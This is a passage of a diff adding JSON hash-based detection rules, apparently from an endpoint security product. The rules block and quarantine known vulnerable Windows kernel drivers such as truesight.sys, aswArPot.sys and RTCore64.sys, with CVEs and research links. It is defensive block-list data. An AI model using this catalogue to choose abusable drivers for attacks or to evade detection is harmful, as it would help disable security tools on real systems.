+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149563Z",
+  "creation_date": "2026-03-23T11:45:31.149567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad0de41b0a8f65fd1e8a07f3ba20e2a833f195f31ad4706da7b74a6fb04f3a91",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "640594d7-4a65-54ec-9f77-847d3b4c01ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160304Z",
+  "creation_date": "2026-03-23T11:45:31.160306Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "344b57aa48f2ef39cd7f1be46946c7d86c6f6ea0e018a4cc6033587cf366b299",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6414090d-24c6-5d87-9fdf-888a0f4e4a78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474121Z",
+  "creation_date": "2026-03-23T11:45:31.474125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474135Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d6f6cee30083462666718fa3cf9e83371a5df3b0826328122fa5497270ea605",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "641b611d-ffb0-5be6-90e7-7b6916bdccc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974856Z",
+  "creation_date": "2026-03-23T11:45:29.974859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d6fe20c9f7ccfe723bf7feecb5acf773a85cb61286452dc4001589f82b1a424",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "642dd934-687f-5cb8-bc6b-9ab5f3fb6c17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983772Z",
+  "creation_date": "2026-03-23T11:45:29.983774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5b0772be02e2bc807804874cf669e97aa36f5aff1f12fa0a631a3c7b4dd0dc8",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "642ec52e-34b4-59c9-89df-11ad44572906",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475562Z",
+  "creation_date": "2026-03-23T11:45:30.475565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475574Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d53f9111a5e6c94b37e3f39c5860897405cb250dd11aa91c3814a98b1759c055",
+  "comment": "Vulnerable Kernel Driver (aka vboxguest.sys) [https://www.loldrivers.io/drivers/0baa833c-e4e1-449e-86ee-cafeb11f5fd5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "643a5106-3616-5edc-b3b4-32f5358f9782",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829220Z",
+  "creation_date": "2026-03-23T11:45:30.829222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19f8229e01786a26efbc4edb0a2e4487bd920e25054a9f41118c7947a4eb5794",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64472055-888b-5233-87a7-18a1932eb478",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823890Z",
+  "creation_date": "2026-03-23T11:45:31.823893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44de27f89ff24682b904d4810849fd22a5e79e989e08c34c4940b4cdb0e7698f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "645d1e4b-a68f-51e0-9796-15abc87560cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817105Z",
+  "creation_date": "2026-03-23T11:45:30.817107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "070ff602cccaaef9e2b094e03983fd7f1bf0c0326612eb76593eabbf1bda9103",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "646bbcd0-bd96-5c61-965f-99f1fc44f617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968862Z",
+  "creation_date": "2026-03-23T11:45:29.968864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968882Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "646d9987-13f2-58c3-ac91-9e4584600946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608068Z",
+  "creation_date": "2026-03-23T11:45:29.608070Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608076Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61a1f530a5d47339275657d7883911d64f64909569cf13d2e6868df01a2a72cb",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "647d660d-2536-54f9-997e-b24a65505b99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816424Z",
+  "creation_date": "2026-03-23T11:45:31.816427Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816435Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9d5c61da080a0e5d2127db2bc9d44b3f3c70c202c9552150bc69c7d4c94b0d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6487129e-6d15-540a-be35-5bbd3c3b2c0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825467Z",
+  "creation_date": "2026-03-23T11:45:30.825469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c8c0e8d9879f07f7d997d099d40d23a5bced78cc68296f2800577ab3478487f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "648972ef-a734-5dfe-8422-500d7a40bbaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160909Z",
+  "creation_date": "2026-03-23T11:45:31.160911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62b03c697cbda97c47abd8fa1ee9e15261f84fb274ac52d4673dab775cd161dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "649b83ce-df00-54a5-84d6-2b0965b294df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142664Z",
+  "creation_date": "2026-03-23T11:45:31.142666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff1a608df20f499b494851dab969088196a3115bafc4999e68e4144788bf8264",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "649d9ebb-0710-5c1f-8b69-a4981f55eb1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819336Z",
+  "creation_date": "2026-03-23T11:45:31.819338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819344Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "837e2910d122f44501328bb217bbcda4dffdda8739fbcbf99d57171f42d19d8c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "649ed89c-c44c-51c6-bfd3-b2eed6c4eb6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480770Z",
+  "creation_date": "2026-03-23T11:45:30.480772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31e2e5c3290989e8624820cf5af886fd778ee8187fed593f33a6178f65103f37",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64a4bf5b-4b9f-542f-91a0-efb3f744a4fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822529Z",
+  "creation_date": "2026-03-23T11:45:30.822531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28bac5dbcdd887f35f8fef454d5df1f53c18a90c51d8222636f487a0f351f725",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64a8b70d-ba09-5f80-8397-487b50e5b915",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622208Z",
+  "creation_date": "2026-03-23T11:45:29.622210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6191c20426dd9b131122fb97e45be64a4d6ce98cc583406f38473434636ddedc",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64aa82d4-7da8-59d2-9945-0cf763a7e43e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978388Z",
+  "creation_date": "2026-03-23T11:45:29.978390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978395Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64b41444-2a48-57a5-9c2a-769dc5a6630d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608759Z",
+  "creation_date": "2026-03-23T11:45:29.608761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "596ada5ecd89f53ec997c6791bc8f97dd9fbe3e9433b4eb086d7f4e1843aeb67",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64b6ae9b-e600-5e8e-8537-73e71a19bee4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812134Z",
+  "creation_date": "2026-03-23T11:45:31.812136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812142Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b84a41a74ed61893ec976321dc761ee72385326e7ea2f46a1238f7af86f6787a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "64b7b2bd-2105-52f2-b35f-b96d6a596a16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150495Z",
+  "creation_date": "2026-03-23T11:45:31.150497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
